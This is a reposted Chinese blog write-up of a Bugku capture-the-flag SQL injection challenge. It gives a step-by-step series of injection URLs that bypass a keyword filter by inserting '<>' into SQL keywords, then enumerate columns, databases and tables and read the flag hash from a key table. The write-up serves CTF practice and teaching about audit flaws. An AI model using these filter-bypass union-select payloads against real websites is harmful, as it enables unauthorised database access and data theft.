zoukankan      html  css  js  c++  java
  • http://www.bugku.com:Bugku——SQL注入1(http://103.238.227.13:10087/)

    Bugku——SQL注入1(http://103.238.227.13:10087/)

    过滤了几乎所有的关键字,尝试绕过无果之后发现,下面有个xss过滤代码。经搜索得该函数会去掉所有的html标签,所以向注入关键字中插入<>,就可以不被检测到,并成功注入;
    1.首先判断是否存在注入:
    http://103.238.227.13:10087/?id=1 a<>nd 1=1
     
    http://103.238.227.13:10087/?id=1 a<>nd 1=2
    通过这两次的返回结果可初步判断存在注入点。
     
    2.判断字段大小:
    http://103.238.227.13:10087/?id=1 o<>rder by 2
    http://103.238.227.13:10087/?id=1 o<>rder by 3
    根据返回结果可判断字段值为2
    3.判断字段的输出位置;
    http://103.238.227.13:10087/?id=1 a<>nd 1=2 uni<>on s<>elect 1,2
    如图可发现字段内容的输出位置。
    4.输出数据库的信息:
    可见有一个额外数据库为sql3.
    简便的方法:
    http://103.238.227.13:10087/?id=1 a<>nd 1=2 uni<>on s<>elect 1,database()
    这样直接会获取到当前所在的数据库
    5.查询key表:
    http://103.238.227.13:10087/?id=1 a<>nd 1=2 uni<>on s<>elect group_concat(tabl<>e_schema),group_concat(tabl<>e_name) fr<>om info<>rmation_schema.ta<>bles
    仔细看输出的数据表的信息,发现因为group_concat()函数的长度限制原因无法打印出全部信息。如下:
    至此,查询key表失败,未解决。
    6.查到信息:
    http://103.238.227.13:10087/?id=1 a<>nd 1=2 uni<>on s<>elect 1,hash fr<>om sql3.key
    语句中,前半部分SQL语句查询错误信息,后半部分查询我们需要的信息。
    查到hash为 c3d3c17b4ca7f791f85e#$1cc72af274af4adef,即为flag。
     
    这道题并不难,但想要强调的是这种白盒审计的思路。有幸认识一个审计超神的大佬,听他讲审计的时候,就经常见到类似这种情况,本来两个过滤都很严实,但放到一起时,就可以用前一个过滤函数去绕过后一个过滤。这是程序员在写程序时常犯的毛病,指的Mark一下。
     
  • 相关阅读:
    微信小程序wx.uploadFile 上传文件 的两个坑
    小程序 滚动wx.pageScrollTo
    scss定义全局变量引入sass-resources-loader报错
    mac 创建多个全局Path
    《node.js开发指南》partial is not defined的解决方案
    jq 将translate的旋转角度转为数值
    js浮点金额计算精度
    移动端页面弹窗滚动,页面也随之滚动解决方案
    js 禁止右击保存图片,禁止拖拽图片
    小程序md5加密
  • 原文地址:https://www.cnblogs.com/HYWZ36/p/10295401.html
Copyright © 2011-2022 走看看